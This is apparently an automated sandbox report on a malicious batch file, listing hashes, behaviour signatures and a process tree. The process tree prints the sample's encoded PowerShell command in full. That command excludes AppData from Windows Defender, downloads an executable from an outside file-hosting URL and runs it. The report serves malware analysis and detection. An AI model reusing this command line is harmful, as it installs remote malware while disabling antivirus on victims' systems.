Analysis
- user interaction
yes - max time kernel
149s - max time network
150s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows - submitted
09/08/2026, 22:32
Static task
static1
Behavioral task
behavioral1
Sample
raw.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
10 signatures
150 seconds
Behavioral task
behavioral2
Sample
raw.bat
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
6 signatures
150 seconds
General
- Target raw.bat
- Size 749B
- Sample260809-2gexwszxaw
- SHA256 8f8224fe28ba0b5ee523b130e23b988d678928a50b153822b29214b94356e310
- MD5 3a94cb4a1d52c50c6cdd8c6f162ea2d4
- SHA1 8d6b16db7bd5b2e9ab47223abc8e7b3d77f8a5cb
- SHA512 742e087d4ec751843a4445d9366ee27cc981c012894fa12850c09b4951b72d97c1a1237f828a5e97f92e7662ddf053406b6ecbbaf0f20540f16d7d5f8a83e671
- TLSH T10601493CCB70EBC543AD709486322D1B30D936B2CBB56A2CCA5215166CC6E54FF2928C
- MD5 SHA1 SHA512 TLSH
Score
8/10
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
flow pid Process 6 4816 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 560 powershell.exe - Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 3816 cmd.exe - Checks SCSI registry key(s) 3 TTPs 3 IoCs
SCSI information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A taskmgr.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName taskmgr.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000 taskmgr.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4816 powershell.exe 4816 powershell.exe 560 powershell.exe 560 powershell.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 4632 taskmgr.exe - Suspicious use of AdjustPrivilegeToken 5 IoCs
description pid Process Token: SeDebugPrivilege 4816 powershell.exe Token: SeDebugPrivilege 560 powershell.exe Token: SeDebugPrivilege 4632 taskmgr.exe Token: SeSystemProfilePrivilege 4632 taskmgr.exe Token: SeCreateGlobalPrivilege 4632 taskmgr.exe - Suspicious use of FindShellTrayWindow 64 IoCs
pid Process 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe - Suspicious use of SendNotifyMessage 64 IoCs
pid Process 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe 4632 taskmgr.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 3816 wrote to memory of 4816 3816 cmd.exe 85 PID 4816 wrote to memory of 560 4816 powershell.exe 86
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\raw.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePowershell -w h -enc cwB0AGEAcgB0ACAAUABvAHcAZQByAHMAaABlAGwAbAAgAC0AQQAgACcAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACcAIAAtAFYAIAByAHUAbgBBAHMACgAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhAFwAUgB1AG4AdABpAG0AZQBCAHIAbwBrAGUAcgAuAGUAeABlACAALQBVAHIAaQAgAGgAdAB0AHAAcwA6AC8ALwBjAG8AbABkAC0AZQB1AC0AcABhAHIALQAxAC4AZwBvAGYAaQBsAGUALgBpAG8ALwBkAG8AdwBuAGwAbwBhAGQALwB3AGUAYgAvADkAOQBhADYANgBlADkAMwAtADgAMQBjADUALQA0ADgAMAA3AC0AYQBhAGMAMwAtADcAYgBjADUANwAyAGYANwA3AGUAZgAxAC8AcgBhAHcAVgBlAGwAbwBjAGkAdAB5AEwAaQB0AGUALgBlAHgAZQAKAHMAdABhAHIAdAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhAFwAbQBhAGwAdwBhAHIAZQAuAGUAeABlAA==2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4816 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath $env:AppData3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:560
-
-
-
C:\Windows\system32\taskmgr.exe"C:\Windows\system32\taskmgr.exe" /41⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4632
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
- MD5 d85ba6ff808d9e5444a4b369f5bc2730
- SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
- SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
- TLSH T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 a45bb6290847783098e407aeee788e01e38a4a184e754666cc6b277c76c56ac5
- MD5 5135936584eb0e357bfd5462b0781471
- SHA1 1da7303cb3af9aa982ab5269c56f17cea443b184
- SHA512 862c3fbd3f170cd3c35253975a6a66695319765256da0f5ba4c78208470c67db89b6c25da69ea7480beaf638a29a5373d5f083b2525b1cad1131b7ce916824cd
- TLSH T1F1218637B3DC8921CC86163A109D9C1076B283C781AECF9F6FC4D604A07F598CB21290
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_olcdekcu.25v.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH